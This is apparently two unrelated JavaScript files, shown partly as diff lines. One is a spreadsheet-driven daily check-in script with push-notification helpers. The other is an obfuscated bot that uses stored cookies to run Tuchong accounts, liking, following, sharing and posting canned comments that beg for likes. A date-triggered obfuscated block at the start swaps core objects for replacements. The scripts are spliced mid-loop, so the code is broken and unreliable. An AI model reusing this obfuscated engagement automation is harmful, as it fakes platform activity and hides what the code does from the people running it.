t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + if (!await checkEnv()) return; + for (let _0x2f2457 of userList) await _0x2f2457['task'](); +})()[_0x276aa6(0x1b5)](_0x6de841 => console[_0x276aa6(0x138)](_0x6de841))[_0x276aa6(0x132)](() => $[_0x276aa6(0x149)]()); + +function encrypt(_0x44be28) { + const _0x20debe = _0x276aa6; + return CryptoJS[_0x20debe(0x171)][_0x20debe(0x143)](_0x44be28, CryptoJS['enc'][_0x20debe(0x176)]['parse'](key), { + 'iv': CryptoJS[_0x20debe(0x1d1)][_0x20debe(0x176)]['parse'](iv), + 'mode': CryptoJS['mode'][_0x20debe(0x154)], + 'padding': CryptoJS[_0x20debe(0x1a4)][_0x20debe(0x19d)] + })[_0x20debe(0x15f)](); +} + +function decrypt(_0x18ca52) { + const _0x1ed0fd = _0x276aa6; + return CryptoJS['AES'][_0x1ed0fd(0x1e6)](_0x18ca52, CryptoJS['enc'][_0x1ed0fd(0x176)][_0x1ed0fd(0x170)](key), { + 'iv': CryptoJS[_0x1ed0fd(0x1d1)][_0x1ed0fd(0x176)][_0x1ed0fd(0x170)](iv), + 'mode': CryptoJS[_0x1ed0fd(0x19b)][_0x1ed0fd(0x154)], + 'padding': CryptoJS[_0x1ed0fd(0x1a4)][_0x1ed0fd(0x19d)] + })['toString'](CryptoJS[_0x1ed0fd(0x1d1)][_0x1ed0fd(0x176)]); +} + +function rand(_0x17279f, _0x41778e) { + const _0x166924 = _0x276aa6; + return parseInt(Math[_0x166924(0x177)]() * (_0x41778e - _0x17279f + 0x1) + _0x17279f, 0xa); +} + +function _0x5e2e() { +    const _0x967031 = ['body', 'url', 'json2str', 'gzip', 'qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890', 'shareid', 'string', '\x20开始运行:\x0a', 'https://api.tuchong.com/share/recall?_rticket=', 'token=', '6TiTxAQ', 'enc', 'task', 'read', 'Mozilla/5.0\x20(Linux;\x20Android\x2011;\x20M2011K2C\x20Build/RKQ1.200928.002;\x20wv)\x20AppleWebKit/537.36\x20(KHTML,\x20like\x20Gecko)\x20Version/4.0\x20Chrome/86.0.4240.185\x20Mobile\x20Safari/537.36\x20Tuchong/7.39.1(android)', 'randomString', 'getMin', '368185hGWsWe', 'charCodeAt', 'split', 'getMonth', ':开宝箱:', 'push', 'https://tuchong.com/gapi/interactive/favorite?_rticket=', 'https://tuchong.com/gapi/feed/app?language=zh&device_platform=android&os_api=30&_rticket=', 'https://tuchong.com/gapi/interactive/follow?_rticket=', 'headers', '\x20运行结束,共运行了\x20', 'openUrl', 'then', 'isNode', 'get', 'decrypt', 'open-url', 'loaddata', 'getval', 'indexOf', 'finally', '个账号', 'exit', './sendNotify', 'send', 'site_id=', 'log', 'author', 'setval', 'isLoon', 'toUpperCase', 'isQuanX', 'auid', 'data_id', '找到\x20', 'gzip,\x20deflate', '-----BEGIN\x20PUBLIC\x20KEY-----\x0a', 'encrypt', '账号\x20[', 'lodash_get', 'env', 'getMax', ':分享:', 'done', 'exec', 'getMilliseconds', 'getdata', '&app_name=tuchong', 'getFullYear', 'Content-Length', 'token', 'okhttp/3.12.2\x20com.ss.android.tuchong\x20(Tuchong:\x207391\x207.39.1)\x20(Android:\x2011\x2030)', '/comments?_rticket=', 'extend', 'CBC', '6244QwlUUG', 'xxxxx', 'Tcck', '\x0a==============\x20推送\x20==============', 'substr', 'wait', 'entry', 'plun', '81upWkEs', 'name', 'toString', 'isSurge', 'getTime', 'm.tuchong.com', 'stringify', 'time', 'getDate', 'android', 'put', 'signin', 'test', 'feedlist', 'undefined', 'box', 'fromCharCode', '2356480yauEct', 'startTime', 'parse', 'AES', 'null', 'utf8', ':分享列表获取成功,id:', '&account=', 'Utf8', 'random', ':评论:', '7391', 'delete', 'feedid', 'object', 'tuchong.com', '==============\x20系统通知\x20==============', 'post', 'author_id', 'sendNotify', 'sharelist', '&content_type=video&author_id=', '12VwnWyV', '4211603yLTkMM', 'feedList', '8GaeVgJ', 'opts', 'floor', '&reply_to_note_id=0', 'parent_note_id=0&content=', 'application/x-www-form-urlencoded', '\x20秒!', 'round', 'isMute', 'join', 'message', 'https://tuchong.com/gapi/feed/app/video?_rticket=', 'isNeedRewrite', 'xiaomi', 'login', 'Content-Type', '大佬们,求个赞😘', 'assign', '1362eJwqde', 'timeout', 'mode', 'msg', 'ZeroPadding', 'getHours', 'logAndNotify', 'charAt', 'setOptions', 'keys', 'base64', 'pad', 'https://api.tuchong.com/3/posts/', 'instance', '701235qSLblt', 'foll', '无效的http方法:', 'share', 'abcdef0123456789', 'dzan', 'getMinutes', 'data', 'randomList', 'valueForKey', 'showmsg', 'com.ss.android.tuchong', 'application/json,\x20text/plain,\x20*/*', 'length', 'catch', '1318tLtzeG', 'mediaUrl', 'api.tuchong.com', 'replace', 'padStr', 'share_id=', '123576SyIWyv', 'toLowerCase', 'getSeconds', 'got', 'post_id=', 'result', ':签到:', 'exports', 'media-url', 'notifyStr']; + _0x5e2e = function() { + return _0x967031; + }; + return _0x5e2e(); +} + +function MD5Encrypt(_0x34fcc9) { + const _0x4349d0 = _0x276aa6; + + function _0xa900b2(_0x8097ce, _0x281d5e) { + return _0x8097ce << _0x281d5e | _0x8097ce >>> 0x20 - _0x281d5e; + } + + function _0x2e01ab(_0x9325f7, _0xeb521c) { + var _0x2b003a, _0x5f1fec, _0x28322c, _0x4e0ef7, _0x31990c; + return _0x28322c = 0x80000000 & _0x9325f7, _0x4e0ef7 = 0x80000000 & _0xeb521c, _0x2b003a = 0x40000000 & _0x9325f7, _0x5f1fec = 0x40000000 & _0xeb521c, _0x31990c = (0x3fffffff & _0x9325f7) + (0x3fffffff & _0xeb521c), _0x2b003a & _0x5f1fec ? 0x80000000 ^ _0x31990c ^ _0x28322c ^ _0x4e0ef7 : _0x2b003a | _0x5f1fec ? 0x40000000 & _0x31990c ? 0xc0000000 ^ _0x31990c ^ _0x28322c ^ _0x4e0ef7 : 0x40000000 ^ _0x31990c ^ _0x28322c ^ _0x4e0ef7 : _0x31990c ^ _0x28322c ^ _0x4e0ef7; + } + + function _0x593bee(_0x1e732c, _0x4e1a19, _0x2cb4e1, _0x5ea0c6, _0x240279, _0x52c1de, _0x36e488) { + var _0x52e525, _0x50d683; + return _0x1e732c = _0x2e01ab(_0x1e732c, _0x2e01ab(_0x2e01ab((_0x52e525 = _0x4e1a19) & (_0x50d683 = _0x2cb4e1) | ~_0x52e525 & _0x5ea0c6, _0x240279), _0x36e488)), _0x2e01ab(_0xa900b2(_0x1e732c, _0x52c1de), _0x4e1a19); + } + + function _0x10713c(_0x535b40, _0x18d2dd, _0x2f9d4e, _0x7ae4f0, _0xbab1f3, _0x50d513, _0x42111e) { + var _0xdf8cb1, _0x2ca8f9, _0x2aab0d; + return _0x535b40 = _0x2e01ab(_0x535b40, _0x2e01ab(_0x2e01ab((_0xdf8cb1 = _0x18d2dd, _0x2ca8f9 = _0x2f9d4e, _0xdf8cb1 & (_0x2aab0d = _0x7ae4f0) | _0x2ca8f9 & ~_0x2aab0d), _0xbab1f3), _0x42111e)), _0x2e01ab(_0xa900b2(_0x535b40, _0x50d513), _0x18d2dd); + } + + function _0x430073(_0x4f8d32, _0x27c365, _0x3e25e1, _0x27a630, _0x54b03c, _0x2445ef, _0x56225f) { + var _0x569f6d, _0x4162ae; + return _0x4f8d32 = _0x2e01ab(_0x4f8d32, _0x2e01ab(_0x2e01ab((_0x569f6d = _0x27c365) ^ (_0x4162ae = _0x3e25e1) ^ _0x27a630, _0x54b03c), _0x56225f)), _0x2e01ab(_0xa900b2(_0x4f8d32, _0x2445ef), _0x27c365); + } + + function _0x58d650(_0x1fe593, _0x3b32ae, _0x3a0931, _0x36c543, _0x1f0eae, _0x427666, _0x3e70f3) { + var _0xb21f6c, _0x30a7c8; + return _0x1fe593 = _0x2e01ab(_0x1fe593, _0x2e01ab(_0x2e01ab((_0xb21f6c = _0x3b32ae, (_0x30a7c8 = _0x3a0931) ^ (_0xb21f6c | ~_0x36c543)), _0x1f0eae), _0x3e70f3)), _0x2e01ab(_0xa900b2(_0x1fe593, _0x427666), _0x3b32ae); + } + + function _0x456d58(_0x4ffb7d) { + const _0x5b8d2b = _0x589c; + var _0x4be6a2, _0x456799 = '', + _0xc23ec6 = ''; + for (_0x4be6a2 = 0x0; 0x3 >= _0x4be6a2; _0x4be6a2++) _0x456799 += (_0xc23ec6 = '0' + (_0x4ffb7d >>> 0x8 * _0x4be6a2 & 0xff)[_0x5b8d2b(0x15f)](0x10))[_0x5b8d2b(0x159)](_0xc23ec6[_0x5b8d2b(0x1b4)] - 0x2, 0x2); + return _0x456799; + } + var _0x5babd7, _0x1c6afa, _0x4fb72f, _0x501cfa, _0x2bf2fe, _0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed = []; + for (_0x13d4ed = function(_0x4e7a28) { + const _0x45a675 = _0x589c; + for (var _0x55f211, _0x2ac714 = _0x4e7a28[_0x45a675(0x1b4)], _0x56ac40 = _0x2ac714 + 0x8, _0x14196e = 0x10 * ((_0x56ac40 - _0x56ac40 % 0x40) / 0x40 + 0x1), _0x4c9fc4 = Array(_0x14196e - 0x1), _0x57443b = 0x0, _0x3754d3 = 0x0; _0x2ac714 > _0x3754d3;) _0x55f211 = (_0x3754d3 - _0x3754d3 % 0x4) / 0x4, _0x57443b = _0x3754d3 % 0x4 * 0x8, _0x4c9fc4[_0x55f211] = _0x4c9fc4[_0x55f211] | _0x4e7a28['charCodeAt'](_0x3754d3) << _0x57443b, _0x3754d3++; + return _0x55f211 = (_0x3754d3 - _0x3754d3 % 0x4) / 0x4, _0x57443b = _0x3754d3 % 0x4 * 0x8, _0x4c9fc4[_0x55f211] = _0x4c9fc4[_0x55f211] | 0x80 << _0x57443b, _0x4c9fc4[_0x14196e - 0x2] = _0x2ac714 << 0x3, _0x4c9fc4[_0x14196e - 0x1] = _0x2ac714 >>> 0x1d, _0x4c9fc4; + }(_0x34fcc9 = function(_0x4e1bf9) { + const _0x4767e6 = _0x589c; + _0x4e1bf9 = _0x4e1bf9[_0x4767e6(0x1b9)](/\r\n/g, '\x0a'); + for (var _0xee250d = '', _0x23ce62 = 0x0; _0x23ce62 < _0x4e1bf9[_0x4767e6(0x1b4)]; _0x23ce62++) { + var _0x92dabb = _0x4e1bf9[_0x4767e6(0x1d8)](_0x23ce62); + 0x80 > _0x92dabb ? _0xee250d += String[_0x4767e6(0x16d)](_0x92dabb) : _0x92dabb > 0x7f && 0x800 > _0x92dabb ? (_0xee250d += String[_0x4767e6(0x16d)](_0x92dabb >> 0x6 | 0xc0), _0xee250d += String[_0x4767e6(0x16d)](0x3f & _0x92dabb | 0x80)) : (_0xee250d += String[_0x4767e6(0x16d)](_0x92dabb >> 0xc | 0xe0), _0xee250d += String[_0x4767e6(0x16d)](_0x92dabb >> 0x6 & 0x3f | 0x80), _0xee250d += String[_0x4767e6(0x16d)](0x3f & _0x92dabb | 0x80)); + } + return _0xee250d; + }(_0x34fcc9)), _0x31dc48 = 0x67452301, _0x2c26f = 0xefcdab89, _0x178212 = 0x98badcfe, _0x228782 = 0x10325476, _0x5babd7 = 0x0; _0x5babd7 < _0x13d4ed['length']; _0x5babd7 += 0x10) _0x1c6afa = _0x31dc48, _0x4fb72f = _0x2c26f, _0x501cfa = _0x178212, _0x2bf2fe = _0x228782, _0x31dc48 = _0x593bee(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x0], 0x7, 0xd76aa478), _0x228782 = _0x593bee(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0x1], 0xc, 0xe8c7b756), _0x178212 = _0x593bee(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0x2], 0x11, 0x242070db), _0x2c26f = _0x593bee(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0x3], 0x16, 0xc1bdceee), _0x31dc48 = _0x593bee(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x4], 0x7, 0xf57c0faf), _0x228782 = _0x593bee(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0x5], 0xc, 0x4787c62a), _0x178212 = _0x593bee(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0x6], 0x11, 0xa8304613), _0x2c26f = _0x593bee(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0x7], 0x16, 0xfd469501), _0x31dc48 = _0x593bee(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x8], 0x7, 0x698098d8), _0x228782 = _0x593bee(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0x9], 0xc, 0x8b44f7af), _0x178212 = _0x593bee(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0xa], 0x11, 0xffff5bb1), _0x2c26f = _0x593bee(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0xb], 0x16, 0x895cd7be), _0x31dc48 = _0x593bee(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0xc], 0x7, 0x6b901122), _0x228782 = _0x593bee(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0xd], 0xc, 0xfd987193), _0x178212 = _0x593bee(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0xe], 0x11, 0xa679438e), _0x2c26f = _0x593bee(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0xf], 0x16, 0x49b40821), _0x31dc48 = _0x10713c(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x1], 0x5, 0xf61e2562), _0x228782 = _0x10713c(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0x6], 0x9, 0xc040b340), _0x178212 = _0x10713c(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0xb], 0xe, 0x265e5a51), _0x2c26f = _0x10713c(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0x0], 0x14, 0xe9b6c7aa), _0x31dc48 = _0x10713c(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x5], 0x5, 0xd62f105d), _0x228782 = _0x10713c(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0xa], 0x9, 0x2441453), _0x178212 = _0x10713c(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0xf], 0xe, 0xd8a1e681), _0x2c26f = _0x10713c(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0x4], 0x14, 0xe7d3fbc8), _0x31dc48 = _0x10713c(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x9], 0x5, 0x21e1cde6), _0x228782 = _0x10713c(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0xe], 0x9, 0xc33707d6), _0x178212 = _0x10713c(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0x3], 0xe, 0xf4d50d87), _0x2c26f = _0x10713c(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0x8], 0x14, 0x455a14ed), _0x31dc48 = _0x10713c(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0xd], 0x5, 0xa9e3e905), _0x228782 = _0x10713c(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0x2], 0x9, 0xfcefa3f8), _0x178212 = _0x10713c(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0x7], 0xe, 0x676f02d9), _0x2c26f = _0x10713c(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0xc], 0x14, 0x8d2a4c8a), _0x31dc48 = _0x430073(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x5], 0x4, 0xfffa3942), _0x228782 = _0x430073(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0x8], 0xb, 0x8771f681), _0x178212 = _0x430073(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0xb], 0x10, 0x6d9d6122), _0x2c26f = _0x430073(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0xe], 0x17, 0xfde5380c), _0x31dc48 = _0x430073(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x1], 0x4, 0xa4beea44), _0x228782 = _0x430073(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0x4], 0xb, 0x4bdecfa9), _0x178212 = _0x430073(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0x7], 0x10, 0xf6bb4b60), _0x2c26f = _0x430073(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0xa], 0x17, 0xbebfbc70), _0x31dc48 = _0x430073(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0xd], 0x4, 0x289b7ec6), _0x228782 = _0x430073(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0x0], 0xb, 0xeaa127fa), _0x178212 = _0x430073(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0x3], 0x10, 0xd4ef3085), _0x2c26f = _0x430073(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0x6], 0x17, 0x4881d05), _0x31dc48 = _0x430073(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x9], 0x4, 0xd9d4d039), _0x228782 = _0x430073(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0xc], 0xb, 0xe6db99e5), _0x178212 = _0x430073(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0xf], 0x10, 0x1fa27cf8), _0x2c26f = _0x430073(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0x2], 0x17, 0xc4ac5665), _0x31dc48 = _0x58d650(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x0], 0x6, 0xf4292244), _0x228782 = _0x58d650(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0x7], 0xa, 0x432aff97), _0x178212 = _0x58d650(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0xe], 0xf, 0xab9423a7), _0x2c26f = _0x58d650(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0x5], 0x15, 0xfc93a039), _0x31dc48 = _0x58d650(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0xc], 0x6, 0x655b59c3), _0x228782 = _0x58d650(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0x3], 0xa, 0x8f0ccc92), _0x178212 = _0x58d650(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0xa], 0xf, 0xffeff47d), _0x2c26f = _0x58d650(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0x1], 0x15, 0x85845dd1), _0x31dc48 = _0x58d650(_0x31dc48, _0x2c26f, _0x178212, _0x228782, _0x13d4ed[_0x5babd7 + 0x8], 0x6, 0x6fa87e4f), _0x228782 = _0x58d650(_0x228782, _0x31dc48, _0x2c26f, _0x178212, _0x13d4ed[_0x5babd7 + 0xf], 0xa, 0xfe2ce6e0), _0x178212 = _0x58d650(_0x178212, _0x228782, _0x31dc48, _0x2c26f, _0x13d4ed[_0x5babd7 + 0x6], 0xf, 0xa3014314), _0x2c26f = _0x58d650(_0x2c26f, _0x178212, _0x228782, _0x31dc48, _0x13d4ed[_0x5babd7 + 0xd], 0x15, 